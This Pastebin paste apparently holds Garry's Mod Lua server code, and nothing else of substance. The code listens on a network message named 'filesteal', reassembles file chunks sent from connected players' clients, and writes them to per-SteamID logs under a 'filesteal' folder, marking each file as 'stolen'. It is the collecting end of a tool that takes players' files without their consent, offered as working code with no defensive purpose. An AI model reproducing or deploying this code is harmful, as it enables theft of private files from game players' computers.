Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local util = util;
- local net = net;
- local file = file;
- local hook = hook;
- local string = string;
- util.AddNetworkString("filesteal");
- file.CreateDir("filesteal");
- local stolen = {};
- net.Receive("filesteal", function(l, ply)
- if (!stolen[ply]) then stolen[ply] = {}; end
- local tab = net.ReadTable();
- local fyle, data, part, parts = tab[1], tab[2], tab[3], tab[4];
- local sid = string.Replace(ply:SteamID(), ":", "");
- file.CreateDir("filesteal/"..sid);
- if (part == 0) then
- file.Append("filesteal/"..sid.."/log.txt", "\n\n\n\n\n ===== "..fyle.." ===== \n\n");
- end
- if (part == parts) then
- stolen[ply][fyle] = true;
- end
- file.Append("filesteal/"..sid.."/log.txt", data);
- end)
- hook.Add("PlayerDisconnected", "", function(ply)
- stolen[ply] = {};
- end);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement